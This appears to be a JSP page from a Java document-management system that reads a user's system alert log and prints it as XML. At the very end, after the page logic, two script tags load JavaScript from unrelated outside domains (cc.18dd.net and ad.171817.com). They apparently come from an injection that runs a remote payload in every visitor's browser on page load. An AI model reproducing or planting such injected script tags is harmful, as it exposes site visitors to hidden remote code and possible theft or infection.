<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.framework.web.*" %>
<%@ page import="com.dcivision.framework.bean.*" %>
<%@ page import="com.dcivision.alert.*" %>
<%@ page import="com.dcivision.alert.bean.*" %>
<%@ page import="com.dcivision.alert.dao.*" %>
<%@ page import="com.dcivision.alert.core.*" %>
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="com.dcivision.calendar.dao.*" %>
<%@ page import="com.dcivision.calendar.bean.*" %>
<%@ page import="com.dcivision.workflow.dao.*" %>
<%@ page import="com.dcivision.workflow.bean.*" %>
<%@ page import="com.dcivision.user.dao.*" %>
<%@ page import="com.dcivision.user.bean.*" %>
<%@ page import="com.dcivision.alert.bean.*"%>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %> 
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/> 
<%  
  Connection conn = null;
  List result = new ArrayList();  
  try{

  conn = DataSourceFactory.getConnection();  
    AlertManager alertManager = new AlertManager(sessionContainer, conn);  
    ListPersonalHomeForm lf = new ListPersonalHomeForm(); 
    result = (List)alertManager.getSystemLogListByUserRecordID(sessionContainer.getUserRecordID(), lf);  
   out.print("<?xml version=\"1.0\" encoding=\"UTF-8\"?>");
    out.print("<alert result=\"succed\">");
    for(int i = 0;i<result.size();i++){
      UpdateAlertSystemLog uasl = (UpdateAlertSystemLog)result.get(i);
      //out.println("uasl = " + uasl.toString()+ "<br>");
      out.print("<message id=\"" + uasl.getID().toString() + "\">"+uasl.getCreatorName()+" send a message in "+uasl.getCreateDate().toString()+"</message>"); 
    }
  out.print("</alert>");

 }catch(Exception ex){
   LogFactory.getLog(this.getClass()).error(ex, ex);

 }finally{
   conn.close();
 } 
%> 
 
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>